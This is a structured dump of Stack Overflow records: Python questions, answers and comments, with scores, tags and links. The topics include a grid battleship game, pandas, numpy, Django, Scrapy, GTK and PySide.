has body: My code output's suggested coordinates after an input but I have no idea how to have an output based on the first output so say someone inputs B4 and the program suggests the user to attack B3, B5, A4 or C4 when they input one of these suggestions I need it to print the third and final suggestion without using a bunch of if statements. ex if Attack1== "A1" and Attack2== "A2": print ("The last hit is A3 " + Rank + " " + Name + ".") Rank= input("What is your rank?") Name= input("What is your name " + Rank + "?") grid= input("What would you like the length of your grid to be " + Rank + " " + Name + "?") Attack1=input("Where do you want to attack first " + Rank + " " + Name + "?\n" +"(Please print with capital letters)") grid= int(grid) #Removing the Number from the Letter RemoveNum = Attack1[0].upper() #Removing the letter from the coordinates RemoveLetter = Attack1[1].upper() RemoveLett=int(RemoveLetter) row = "1 2 3 4 5 6 7 8 9 10".split() col = "A B C D E F G H I J".split() x=col.index(RemoveNum) y=row.index(RemoveLetter) possibles=[] # blank list to store suggestions in if x &gt; 0 : possibles.append(col[x-1] + row[y]) # left if x &lt; grid-1: possibles.append(col[x+1] + row[y]) # right if y &gt; 0 : possibles.append(col[x] + row[y-1]) # up if y &lt; grid-1: possibles.append(col[x] + row[y+1]) # down # Construct string of all possibles except the last poss_list = ','.join(possibles[:len(possibles)-1]) #Printing First Suggestions print("You could try {0:s} and {1:s}".format(poss_list,possibles[-1]))
has comment: http://stackoverflow.com/comment/81489206
type: Question
tagged with: python-3.x
type: UnansweredQuestion
tagged with: input
tagged with: python
has title: If first input == something then output something [Second attack on a grid]

http://stackoverflow.com/comment/81428366
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47233042
has text: And if I use `json.loads` I get: TypeError: the JSON object must be str, not 'TextIOWrapper'
score: 0

http://stackoverflow.com/comment/81503829
comment on: http://stackoverflow.com/q/47276152
has text: @jordanm i fixed the assertion. See issue with encoding Infinity. The `float('Inf').__class__.__name__` issue you pointed to isn't relevant since it's an OR conditional
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81582967
type: AnswerComment
comment on: http://stackoverflow.com/a/47313061
has text: This is very difficult to understand what you want to achieve here...How do you call the function `number`? What does the `peopleList` variable contain?
type: Comment
score: 0

http://stackoverflow.com/q/47228458
tagged with: pygame
has comment: http://stackoverflow.com/comment/81408261
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47235004
type: UnansweredQuestion
answer count: 1
downvote count: 0
upvote count: 1
tagged with: python
tagged with: anaconda
has body: Can't install python on anaconda using: conda install -c tlatorre pygame=1.9.2 Error: PackageNotFoundError: Packages missing in current channels: pygame 1.9.2* Any Ideas? I have anaconda 3 and win 7(x64)
has title: pygame in anaconda unable to install
score: 1

http://stackoverflow.com/comment/81499030
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47273602
type: Comment
has text: I already checked that and it works well find if I take out the description field. Thanks Anyways @Grzegorg

http://stackoverflow.com/a/47281818
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/47281490
has comment: http://stackoverflow.com/comment/81515446
type: Answer
has body: If you are still interested in a Python solution, it can be achieved by using ElementTree. How it works: Getting all the title nodes Removing each one from the root node Sorting the title nodes in memory based on the sort_attribute tag Adding each title node back to the root element in the correct order import xml.etree.ElementTree as ET def get_sort_attribute_tag_value(node): return node.find('titleselect').find('sort_attribute').text with open('test.xml') as f: xml_node = ET.fromstring(f.read()) title_nodes = xml_node.findall('title') for title_node in title_nodes: xml_node.remove(title_node) title_nodes.sort(key=get_sort_attribute_tag_value) for title_node in title_nodes: xml_node.append(title_node) print(ET.tostring(xml_node).decode()) # in order to save as a new file with open('new_file.xml', 'w') as f: f.write(ET.tostring(xml_node).decode()) Outputs: <attribute_a>attrib_a</attribute_a> <attribute_b>attrib_b</attribute_b> <attribute_c>attrib_c</attribute_c> <sort_attribute>Boston</sort_attribute> <attribute_a>attrib_a</attribute_a> <attribute_b>attrib_b</attribute_b> <attribute_c>attrib_c</attribute_c> <sort_attribute>Chicago</sort_attribute> <attribute_a>attrib_a</attribute_a> <attribute_b>attrib_b</attribute_b> <attribute_c>attrib_c</attribute_c> <sort_attribute>New York</sort_attribute>
downvote count: 0

http://stackoverflow.com/q/47345723
has title: PySP command result related to output: ** At least one sub-... failed to solve! **
type: UnansweredQuestion
tagged with: python
tagged with: multi-stage-programming
has comment: http://stackoverflow.com/comment/81643128
tagged with: optimization
has body: ![The screenshot is from the error result of command: runph --model-directory=models --instance-directory=scenariodata --solver=ipopt --default-rho=1 ]1 Although I could still get outputs, I wonder what does this error warning "** At least one sub-problem failed to solve! **" mean? and what should I do next? Thanks for your kind help.
score: 0
has comment: http://stackoverflow.com/comment/81680862
has answer: http://stackoverflow.com/a/48639926
has comment: http://stackoverflow.com/comment/81665168
answer count: 1
type: Question
has comment: http://stackoverflow.com/comment/81680848
has comment: http://stackoverflow.com/comment/81691244
tagged with: pyomo

http://stackoverflow.com/q/47361618
has body: I'm using a raspberry pi and a python script to capture images from a camera connected to the pi. I have a task scheduler that calls the script, and the script make a command line call that interfaces with the camera. I'm trying to have it create a new file titled with the timestamp taken from python's datetime module. The problem I'm experiencing is that it won't print both. I can create a file with just the date timestamp; I can create one with just the time. When I try to combine both, however, the file isn't created, and I'm not sure why. Is it because the filename ends up being too long? I've tried numerous variations of the code below: import os import time import datetime ts = time.time() st = datetime.datetime.fromtimestamp(ts).strftime("%y-%m-%d_%H:%M:%S") sys_call = 'fswebcam -r 1280x720 /home/pi/python/projectx_images/%s' %st os.system(sys_call) I've also tried using datetime.now() to no avail. Specifically, if I try either st = datetime.datetime.fromtimestamp(ts).strftime("%y-%m-%d') or st = datetime.datetime.fromtimestamp(ts).strftime("%H:%M:%S') then it works fine, but not with both.
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47363550
possible better answer: http://stackoverflow.com/a/47361707
tagged with: python
has title: Improperly creating timestamped filenames
has comment: http://stackoverflow.com/comment/81679880
has comment: http://stackoverflow.com/comment/81676342
type: Question
accepted answer: http://stackoverflow.com/a/47363550
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/81676346
tagged with: raspberry-pi
has comment: http://stackoverflow.com/comment/81676268
has comment: http://stackoverflow.com/comment/81676390
has comment: http://stackoverflow.com/comment/81676573
has answer: http://stackoverflow.com/a/47361707
has comment: http://stackoverflow.com/comment/81677368

http://stackoverflow.com/a/47321851
answers question: http://stackoverflow.com/q/47321703
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/81594562
accepted answer of: http://stackoverflow.com/q/47321703
has body: Not ideal, but likely better than a raw for loop would be: Code: def shift_to_columns(vector, k): return pd.DataFrame({i: vector.slice_shift(-i)[:len(vector)-k+1] for i in range(k)}) Test Code: import pandas as pd data = pd.Series(range(10)) print(data) print(shift_to_columns(data, 3)) Results: 0 0 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8 9 9 dtype: int64 0 1 2 0 0 1 2 1 1 2 3 2 2 3 4 3 3 4 5 4 4 5 6 5 5 6 7 6 6 7 8 7 7 8 9
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81460636
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47255011
has text: See: [python-error-handling-using-integers-as-input](https://stackoverflow.com/questions/11432913/python-error-handling-using-integers-as-input) -- you need to handle errors if someone input "fifehundredandten" or "4 9 2 83 2"
score: 0

data-science
tags question: http://stackoverflow.com/q/47381459
tags question: http://stackoverflow.com/q/47313965
tags question: http://stackoverflow.com/q/47353479
tags question: http://stackoverflow.com/q/47225365
tags question: http://stackoverflow.com/q/47357967
type: Tag
tag name: data-science
tags question: http://stackoverflow.com/q/47311266
tags question: http://stackoverflow.com/q/47246587

http://stackoverflow.com/a/47356904
has comment: http://stackoverflow.com/comment/81687842
has body: That question/answer you linked to probably was probably a poor choice to use as a template, as it's doing many things that your code doesn't require (much less use). I think your biggest misconception about how multiprocessing works is thinking that all the code is running in the same address-space. The main task runs in its own, and there are separate ones for each subtask. The way your code is written, each of them will end up with its own separate myObjects list. That's why the main task doesn't see any of the changes made by any of the other tasks. While there are ways share objects using the multiprocessing module, doing so often introduces significant overhead because keeping it or them all in-sync between all the processes requires lots of things happening "under the covers" to make seem like they're shared (which is what is really going on since they can't actually be because of having separate address-spaces). This overhead frequently completely cancels out any speed gained by parallel-processing. As stated in the documentation: "when doing concurrent programming it is usually best to avoid using shared state as far as possible".
has comment: http://stackoverflow.com/comment/81688990
answers question: http://stackoverflow.com/q/47355671
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81690440
type: Answer
accepted answer of: http://stackoverflow.com/q/47355671

http://stackoverflow.com/comment/81690944
type: Comment
score: 0
type: AnswerComment
has text: Yes, everything works as expected when "nudging" the diagonal away from zero, i.e., making the matrix less singular. Oh, and of course, in practical settings I will still use existing implementations of numerical algorithms. I was implementing these things for educational purposes. Thank you once again!
comment on: http://stackoverflow.com/a/47362194

http://stackoverflow.com/a/47370269
score: 3
upvote count: 3
type: Answer
has body: Here's an attempt with plain numpy. It creates a matrix with 3 columns and as many rows as a1 + a2. It writes a1 and a2 in the columns, and sort the rows by their first value. Note that it only works if x values are disjoint: import numpy as np x = np.arange(6) # array([0, 1, 2, 3, 4, 5]) a1 = np.vstack((x,x)).T # array([[0, 0], # [1, 1], # [2, 2], # [3, 3], # [4, 4], # [5, 5]]) a2 = a1 + 0.5 # array([[ 0.5, 0.5], # [ 1.5, 1.5], # [ 2.5, 2.5], # [ 3.5, 3.5], # [ 4.5, 4.5], # [ 5.5, 5.5]]) m = np.empty((12, 3)) m[:] = np.nan # array([[ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan]]) m[:6, :2] = a1 # array([[ 0., 0., nan], # [ 1., 1., nan], # [ 2., 2., nan], # [ 3., 3., nan], # [ 4., 4., nan], # [ 5., 5., nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan], # [ nan, nan, nan]]) m[6:, ::2] = a2 # array([[ 0. , 0. , nan], # [ 1. , 1. , nan], # [ 2. , 2. , nan], # [ 3. , 3. , nan], # [ 4. , 4. , nan], # [ 5. , 5. , nan], # [ 0.5, nan, 0.5], # [ 1.5, nan, 1.5], # [ 2.5, nan, 2.5], # [ 3.5, nan, 3.5], # [ 4.5, nan, 4.5], # [ 5.5, nan, 5.5]]) m[m[:,0].argsort()] # array([[ 0. , 0. , nan], # [ 0.5, nan, 0.5], # [ 1. , 1. , nan], # [ 1.5, nan, 1.5], # [ 2. , 2. , nan], # [ 2.5, nan, 2.5], # [ 3. , 3. , nan], # [ 3.5, nan, 3.5], # [ 4. , 4. , nan], # [ 4.5, nan, 4.5], # [ 5. , 5. , nan], # [ 5.5, nan, 5.5]]) Using pandas is the correct method here.
downvote count: 0
answers question: http://stackoverflow.com/q/47370012

http://stackoverflow.com/a/49077162
has body: This works in Python 3 - see https://repl.it/repls/RespectfulWoozyFactorial. I would verify that your version of SublimeText is indeed using Python 3. You could do this by invoking some iteration of python --version using the Sublime REPL.
answers question: http://stackoverflow.com/q/47313877
type: Answer
score: 0

http://stackoverflow.com/q/47254655
tagged with: pip
upvote count: 1
has comment: http://stackoverflow.com/comment/81460028
downvote count: 1
favorite count: 0
type: Question
has title: Having trouple with Pip
tagged with: python-3.x
linked to: http://stackoverflow.com/q/2817869
has body: I'm trying to install pip in Windows and after trying [How do I install pip on Windows? and after executing get-pip.py pip is still not recognized in the cmd, what could be the problem? Trying to run it again will only display the message: Requirement already up to date: pip in c:\users...\lib\site-packages I'm new to Python and I don't know if there is any other way to install pip (BTW this is my first post, sorry if I´m doing a mistake here)
linked to: http://stackoverflow.com/q/23708898
has comment: http://stackoverflow.com/comment/81459991
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81460463
linked to: http://stackoverflow.com/q/4750806
tagged with: python
has comment: http://stackoverflow.com/comment/81460146
duplicate of: http://stackoverflow.com/q/23708898
linked to: http://stackoverflow.com/q/2436731
has comment: http://stackoverflow.com/comment/81460052
answer count: 0
score: 0

http://stackoverflow.com/comment/81721958
type: Comment
comment on: http://stackoverflow.com/a/47381930
score: 0
type: AnswerComment
has text: So maybe I should copy back those 3 lines? With `(mfcc_feat)` alone I get another error: http://text-share.com/view/86fde0f4

http://stackoverflow.com/comment/81601829
has text: Can you write the *fishy* compute fields? By the way, remove `track_visibility='onchange'` from `state` field in `bsi.production.order`. There is not point in using that parameter if the class does not inherit from `mail.thread` model.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47302597

http://stackoverflow.com/a/47343224
downvote count: 0
type: Answer
has body: It's not possible using self as your optional argument but defining static properties would work. https://repl.it/@marksman/ravijoshi class Test(object): rand = 4 # statically defined def print_rand(self, num=rand): print(num) t = Test() t.print_rand()
answers question: http://stackoverflow.com/q/47342999
score: 3
upvote count: 3

http://stackoverflow.com/q/47305876
tagged with: django
upvote count: 1
tagged with: python
downvote count: 1
score: 0
has answer: http://stackoverflow.com/a/47307783
tagged with: pandas
linked to: http://stackoverflow.com/q/2459979
has title: Create django models from a CSV source
tagged with: google-ads-api
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/2459979
has body: AdWords for some reason doesn't have a normal REST api, it uses instead a SOAP api which either returns a .csv file or recently a string. I'm using django and I need to save results in my database. Currently I use Pandas to transfor the string to a dataframe, and then I iterate through it and save it in my database. However this process is slow and inefficient. I don't want to use pandas just for this. Would AST work in my situation? What's the fastest way to do this? My code with pandas looks like this: abc = report_downloader.DownloadReportAsString(report, skip_report_header=True, skip_column_header=False,skip_report_summary=True) print(abc) print(type(abc)) df = pd.read_csv(StringIO(abc), sep=",",) #print (df.to_string()) for index, row in df.iterrows(): ctr = float(float(row['CTR'].strip('%')) / 100) conv_rate = float(float(row['Conv. rate'].strip('%')) / 100) cost = row['Cost']/1000000 cpm = row['Avg. CPM']/1000000 avg_cpc = row['Avg. CPC']/1000000 def_data = { 'impressions':row['Impressions'], 'ctr':ctr, 'avg_cpc':avg_cpc, 'conversion_rate':conv_rate, 'clicks':row['Clicks'], 'cost':cost, 'cpm':cpm, 'conversions':row['Conversions'], } obj, created = AdWordsData.objects.get_or_create( user=user, date=row['Day'], campaign=row['Campaign'], ad_group=row['Ad group'], final_url=row['Final URL'], tracking_template=row['Tracking template'], defaults=def_data, ) if not created: obj.__dict__.update(**def_data) obj.save() else: print ('No campaigns were found.') ABC (the data return by adwords is a string and looks like this: Day,Campaign,Ad group,Final URL,Tracking template,Impressions,CTR,Avg. CPC,Conv. rate,Clicks,Cost,Avg. CPM,Conversions 2017-09-08,mysite.me Many Keywords,Many Keywords,https://mysite.me, --,364,0.82%,73333,0.00%,3,220000,604396,0.00 2017-09-10,mysite.me Many Keywords,Many Keywords,https://mysite.me, --,1562,3.46%,435926,0.00%,54,23540000,15070423,0.00 2017-09-11,mysite.me Many Keywords,Many Keywords,https://mysite.me, --,1806,3.49%,387619,0.00%,63,24…
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/comment/81465028
score: 0
type: Comment
type: AnswerComment
has text: I'd not seen that pd.to_datetime could take a DataFrame, I guess that has been cythonized and the datetime parser is (sadly) still python? I am surprised it's fastest!
comment on: http://stackoverflow.com/a/47256933

http://stackoverflow.com/comment/81587297
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47317108
has text: https://pastebin.com/dWS8UH7c

http://stackoverflow.com/comment/83333078
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47334185
type: Comment
has text: The question is 'do you _really_ need to put _that_ big files into attachments?' Have you considered possible problems with SMTP servers limitations and possible overflows of message recipients' mailboxes?

http://stackoverflow.com/a/47378862
answers question: http://stackoverflow.com/q/47378790
has body: This is another option: import string s = ('hello') alpha = string.ascii_lowercase if any(i in alpha for i in s): print('yes') else: print('no') Or maybe quicker: import string s = ('hello') alpha = string.ascii_lowercase for l in s: if l in alpha: print("yes") break print("no")
type: Answer
score: 0

http://stackoverflow.com/a/47263851
has comment: http://stackoverflow.com/comment/81480743
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47263749
has comment: http://stackoverflow.com/comment/81480344
has comment: http://stackoverflow.com/comment/81478632
downvote count: 0
has body: You can use a collections.defaultdict: from collections import defaultdict d = defaultdict(list) file_data = [[int(a), b] for a, b in [i.strip('\n').split('\t') for i in open('filename.txt')]] for a, b in file_data: d[a].append(b) for a, b in sorted(d.items(), key=lambda x:x[0]): print(a, b) Without defaultdict: d = {} for a, b in file_data: if a not in d: d[a] = [b] else: d[a].append(b)
has comment: http://stackoverflow.com/comment/81480385
has comment: http://stackoverflow.com/comment/81480719
has comment: http://stackoverflow.com/comment/81480315
upvote count: 1

http://stackoverflow.com/comment/81404499
type: Comment
comment on: http://stackoverflow.com/q/47227065
type: QuestionComment
has text: I think all the ways are described in the link. you seem to be right in your attempt. Windows isn't the best OS around.
score: 2

http://stackoverflow.com/q/47267873
answer count: 1
has comment: http://stackoverflow.com/comment/81488291
has comment: http://stackoverflow.com/comment/81488480
has answer: http://stackoverflow.com/a/47267964
duplicate of: http://stackoverflow.com/q/47205055
has comment: http://stackoverflow.com/comment/81488140
has comment: http://stackoverflow.com/comment/81486697
has title: Python - Palindrome function: Receiving error "list indices must be integers or slices, not str"
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81486935
tagged with: palindrome
tagged with: python
accepted answer: http://stackoverflow.com/a/47267964
tagged with: ipython
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81486597
downvote count: 0
linked to: http://stackoverflow.com/q/47205055
score: 1
has body: I've been trying to use the following code to create a palindrome. I have a txt file named 'lowercasewords' which is essentially a list full of words in lowercase where I am querying from and I want to append words that are spelled the same reversed into a list named 'lines2'. The code is below: def palindrome(): lines = open('lowercasewords.txt','r').read().splitlines() lines2 = [] for x in lines: if (lines[x]) == (lines[x][::-1]) is True: lines2.append(str(x)) else: pass print(lines2) However, I receive the error: TypeError: list indices must be integers or slices, not str Can anyone help??? I can show that the word 'level' is the same reversed: str(lines[106102]) == str(lines[106102][::-1]) True
upvote count: 1
tagged with: function
tagged with: words

http://stackoverflow.com/a/47339346
type: Answer
has body: In Python 3.x: module = {} exec(test, module) assert module['foo'](3) == 9 module isn't a real Python module, it's just a namespace to hold the code's globals to avoid polluting your module's namespace.
score: 2
answers question: http://stackoverflow.com/q/47339192
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47339192

http://stackoverflow.com/a/47376486
accepted answer of: http://stackoverflow.com/q/47356315
has comment: http://stackoverflow.com/comment/81712283
type: Answer
answers question: http://stackoverflow.com/q/47356315
has comment: http://stackoverflow.com/comment/81708189
score: 0
type: AcceptedAnswer
has body: You should pass a scrapy selector item to the ItemLoader function. You could try the following modifications: from scrapy import Selector ... def parse(self, response): ... br_selector = Selector(text = self.br.page_source) jetload = ProductLoader(item = JetProduct(), selector = br_selector) The complete spider code should look something like this: import datetime import time import scrapy from selenium import webdriver from scrapy import Selector from scrapy.loader import ItemLoader from JetScrape.items import ProductLoader, JetProduct class JetSpider(scrapy.Spider): name = "jet" allowed_domains = ["jet.com"] with open("JetURL.txt", "rt") as f: start_urls = [url.strip() for url in f.readlines()] def __init__(self): scrapy.Spider.__init__(self) self.br = webdriver.Chrome() def _del_(self): self.br.close() def parse(self, response): self.br.get(response.url) time.sleep(3) Today = datetime.datetime.now() br_selector = Selector(text = self.br.page_source) jetload = ProductLoader(item=JetProduct(), selector=br_selector) jetload.add_xpath("jetprice", "//span[@class='formatted-value']/text()") jetload.add_xpath("jettitle", "//h1[@class='name']/text()") jetload.add_value("jetLast_Updated", Today) yield jetload.load_item() If this doesn't work then please post your items.py contents so I can reproduce the complete crawler.

http://stackoverflow.com/comment/81671594
type: AnswerComment
comment on: http://stackoverflow.com/a/47359023
score: 0
type: Comment
has text: @Windstorm1981 http://pandas.pydata.org/pandas-docs/stable/merging.html, the default for `concat` is `outer`, you can set it `inner` by using `join='inner '`

http://stackoverflow.com/a/47319223
answers question: http://stackoverflow.com/q/47317700
has comment: http://stackoverflow.com/comment/81609387
type: Answer
score: 4
upvote count: 4
has body: This is less something you need to configure, and more something to abandon. OpenCV won't run in the standard App Engine environment. OpenCV is a big chunk of C++ (with Python wrappers). App Engine only supports libraries that are pure Python unless they're on the list in https://cloud.google.com/appengine/docs/standard/python/tools/using-libraries-python-27 If you need OpenCV, consider using the Flex environment.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47317700

http://stackoverflow.com/comment/81436006
has text: Or just `m[1]`.
score: 1
comment on: http://stackoverflow.com/q/47242677
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81454647
has text: Nope, My progam take hell lot of time and didn't produce the output :(
comment on: http://stackoverflow.com/a/47251652
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81533803
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47291320
score: 0
has text: Thanks for explaining how the coach got the first value. Even in that case the player names are shown like `players: Keylor Navas, K. Casilla, Sergio Ramos, Varane, Marcelo` which is not desired.

http://stackoverflow.com/q/47263262
downvote count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/81477966
favorite count: 0
accepted answer: http://stackoverflow.com/a/47263482
type: Question
has comment: http://stackoverflow.com/comment/81477422
has body: I have a list that contains many values like mylist = [4361, 4868,4878, 5395, 5940, 6539, 6544, 7164 ] In case I have values that have difference less than 80, like 4868,4878 I want to exclude the second one and keep only 4868 and get the indexes of the those that are deleted. The new resulted list will be my_list = [4361, 4868, 5395, 5940, 6539, 7164] Is there an easy way to achieve this?
has comment: http://stackoverflow.com/comment/81477389
possible better answer: http://stackoverflow.com/a/47263738
tagged with: python
has comment: http://stackoverflow.com/comment/81477323
has answer: http://stackoverflow.com/a/47263738
score: -1
has title: Exclude integer values from list that have difference less than 80
tagged with: list
has answer: http://stackoverflow.com/a/47263482
type: AnsweredQuestion
answer count: 2

http://stackoverflow.com/comment/81504096
type: AnswerComment
has text: @apk what do you mean by large string? A string that does not exist in the values or keys?
type: Comment
comment on: http://stackoverflow.com/a/47276345
score: 0

http://stackoverflow.com/q/47291320
type: AnsweredQuestion
has body: I have a function that takes one positional argument, one default argument, variable length non keyword arguments and variable length keyword arguments. The function looks like below: def set_football_team(name, coach = '', *players, **formations): print("Team: "+name) print("Coach: "+coach) for i, player in enumerate(players): print("Player "+str(i+1)+": "+player) for position, positional_players in formations.items(): positional_players = ", ".join(positional_players) print(position+": "+positional_players) It is working fine when all arguments are passed. name = "Real Madrid" coach = "Zinedine Zidane" players = ["Keylor Navas", "K. Casilla", "Sergio Ramos", "Varane", "Marcelo"] formations = {"Goalkeeper": players[:2], "Defender": players[2:]} set_football_team(name, coach, *players, **formations) Output ============================================== Team: Real Madrid Coach: Zinedine Zidane Player 1: Keylor Navas Player 2: K. Casilla Player 3: Sergio Ramos Player 4: Varane Player 5: Marcelo Goalkeeper: Keylor Navas, K. Casilla Defender: Sergio Ramos, Varane, Marcelo But when I skip passing coach it shows unexpected output even I set coach to an empty string in the argument: name = "Real Madrid" players = ["Keylor Navas", "K. Casilla", "Sergio Ramos", "Varane", "Marcelo"] formations = {"Goalkeeper": players[:2], "Defender": players[2:]} set_football_team(name, *players, **formations) Output ============================================== Team: Real Madrid Coach: Keylor Navas Player 1: K. Casilla Player 2: Sergio Ramos Player 3: Varane Player 4: Marcelo Goalkeeper: Keylor Navas, K. Casilla Defender: Sergio Ramos, Varane, Marcelo I know the order of function arguments: positional argument &gt; default argument &gt; variable length non keyword arguments &gt; variable length keyword arguments What is the reason of the above behavior? What am I missing? How can I overcome this?
tagged with: arguments
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81533803
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81533688
has title: Default argument followed by variable length arguments (Python)
upvote count: 0
has answer: http://stackoverflow.com/a/47291940
answer count: 1
accepted answer: http://stackoverflow.com/a/47291940
tagged with: parameter-passing
has comment: http://stackoverflow.com/comment/81534414
downvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/a/47239009
has body: I've corrected your source code a little bit. Only some comments. I don't understand everything, what you do! Some examples: If you have 16 people, then they need 3 tables in your restaurant, but if there are 35 people (16 * 2 = 32 people!!!), then they still need 3 tables? These tables must be impressive. Why do you give your customers some money for free!? Why do you calculate with integers ("int(768.88)"), when you could calculate better with floating numbers??? I dislike your menu code, I would think to store the data in a dictionary and to make the menu from there dynamically and use the same data to calculate the prices. At the moment you have the price data two times statically in your source code - don't repeat yourself. def calculateTableTotal(noPeople): if noPeople &lt;= 15: return 1 elif 16 &lt;= noPeople &lt;= 35: return 3 elif 36 &lt;= noPeople &lt;= 55: return 5 elif 56 &lt;= noPeople &lt;= 75: return 7 else: return None def calculateMenuPrice(totalTable, choice): if choice == '1': print('Total:', totalTable * (int(768.88))) # ??? if choice == '2': print('Total:', totalTable * (int(898.88))) # ??? if choice == '3': print('Total:', totalTable * (int(1118.88))) # ??? if choice == '4': print('Total:', totalTable * (int(1488.88))) # ??? def print_menu(): print(''' ------------------------------------------------ Menu Option ------------------------------------------------ [1] 768.88 Package [3] 1118.88 Package [2] 898.88 Package [4] 1488.88 Package ''') noPeople = int(input('enter no. of people: ')) totalTable = calculateTableTotal(noPeople) if totalTable == 1: print("You need {} table.".format(totalTable)) elif totalTable is None: print("We haven't enough tables. Sorry!") exit() else: print("You need {} table.".format(totalTable)) print_menu() choice = input('enter menu choice: ') calculateMenuPrice(totalTable, choice)
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47238822

http://stackoverflow.com/a/47298218
accepted answer of: http://stackoverflow.com/q/47298146
answers question: http://stackoverflow.com/q/47298146
type: Answer
upvote count: 6
has comment: http://stackoverflow.com/comment/81547950
has body: Never mind. Should've checked. Flask returns strings as html, so the html() isn't necessary above.
type: AcceptedAnswer
downvote count: 0
score: 6

http://stackoverflow.com/q/47239064
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47239158
has body: Google's style guide says, about imports, that modules might be aliased with import xyz as x when x is a common abbreviation for xyz. What are the standard abbreviations for the most common modules? I'm here looking for a list exhaustive as possible, including modules from the standard library, as well as third-party niche packages that are frequently used in their respective fields. For instance, numpy is always imported as np, and tkinter, when hopefully not imported with from module import *, is generally imported as tk.
favorite count: 0
tagged with: naming-conventions
type: Question
downvote count: 0
has title: Import abbreviations for common modules
has comment: http://stackoverflow.com/comment/81429371
tagged with: python
answer count: 1
score: 6
upvote count: 6
accepted answer: http://stackoverflow.com/a/47239158

http://stackoverflow.com/q/47266831
favorite count: 0
type: Question
upvote count: 2
has body: in my program I would like to change an image by clicking a button but I can not find the function class TestGdkPixbuf(Gtk.Window): Cover= "image.png" Cover2= "image2.png" def __init__(self): Gtk.Window.__init__(self, title="TestGdkPixbuf") mainLayout = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=6) self.image = GdkPixbuf.Pixbuf.new_from_file_at_size(self.Cover, 250, 250) image_renderer = Gtk.Image.new_from_pixbuf(self.image) button = Gtk.Button(label='Change') button.connect('clicked', self.editPixbuf) mainLayout.pack_start(image_renderer, True, True, 0) mainLayout.pack_start(button, True, True, 0) self.add(mainLayout) def editPixbuf(self, button): self.image = GdkPixbuf.Pixbuf.new_from_file_at_size(self.Cover2, 250, 250) print(self.Cover2) Thank you very much for your help
downvote count: 0
tagged with: python
tagged with: gtk
tagged with: gdkpixbuf
type: AnsweredQuestion
score: 2
has title: How to change the image shown by a GtkImage?
answer count: 1
tagged with: gtk3
accepted answer: http://stackoverflow.com/a/47269049
has answer: http://stackoverflow.com/a/47269049

http://stackoverflow.com/q/47271494
tagged with: selection
tagged with: python
upvote count: 4
has body: In PySide, is there a way to selected a few hundred treeview items without having to manually go row by row and select them? The problem with this method is the UI updates each time a new row is selected causing the application to freeze up while it finishes the method. Is there a way I can just pass the selection-model a list of all the rows I want selected? My treeview has hundres of rows and four columns, but the treeview is set to select entire rows, not cells. model = self.uiFilesList.model() rows = self.selectedFileItems.selectedRows() self.uiFilesList.selectionModel().clear() I would expect this to work, but it doesn't. selection = self.uiFilesList.selectionModel().selection() self.uiFilesList.selectionModel().clear() mode = QtGui.QItemSelectionModel.Select | QtGui.QItemSelectionModel.Rows self.uiFilesList.selectionModel().select(selection, mode) Here is my sample project where the selection is not updating after i update the data in the mode. You'll see in my sample below, when you right-click and change the age or the jersey number the list must be repopulated in order to update the displayed data. However i attempt to store the selection before updating the list. Then i try to restore it after the list is repopulated but it doesn't appear to work. import sys, os, random from PySide import QtGui, QtCore class Person(object): def __init__(self, name, age, hair, jersey): self.name = name self.age = age self.hair = hair self.jersey = jersey class MainWindow(QtGui.QMainWindow): def __init__(self, parent=None): super(MainWindow, self).__init__(parent) self.resize(500, 320) self.people = [ Person('Kevin', 10, 'Brown', 20), Person('Marsha', 32, 'Blonde', 00), Person('Leslie', 27, 'Black', 15), Person('Tim', 53, 'Red', 37), Person('Marie', 65, 'Brown', 101), Person('Bella', 8, 'Blonde', 1) ] self.treeview = QtGui.QTreeView() self.treeview.setAlternatingRowColors(True) self.treeview.setModel(QtGui.QStandardItemModel()) self.treeview.setSortingEnabled(True) self.tree…
score: 4
has title: Set selection from a list of indexes in a QTreeView
type: AnsweredQuestion
downvote count: 0
tagged with: pyside
answer count: 1
has answer: http://stackoverflow.com/a/47273192
accepted answer: http://stackoverflow.com/a/47273192
tagged with: qtreeview
favorite count: 0
type: Question

http://stackoverflow.com/q/47316917
has comment: http://stackoverflow.com/comment/81591026
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81620029
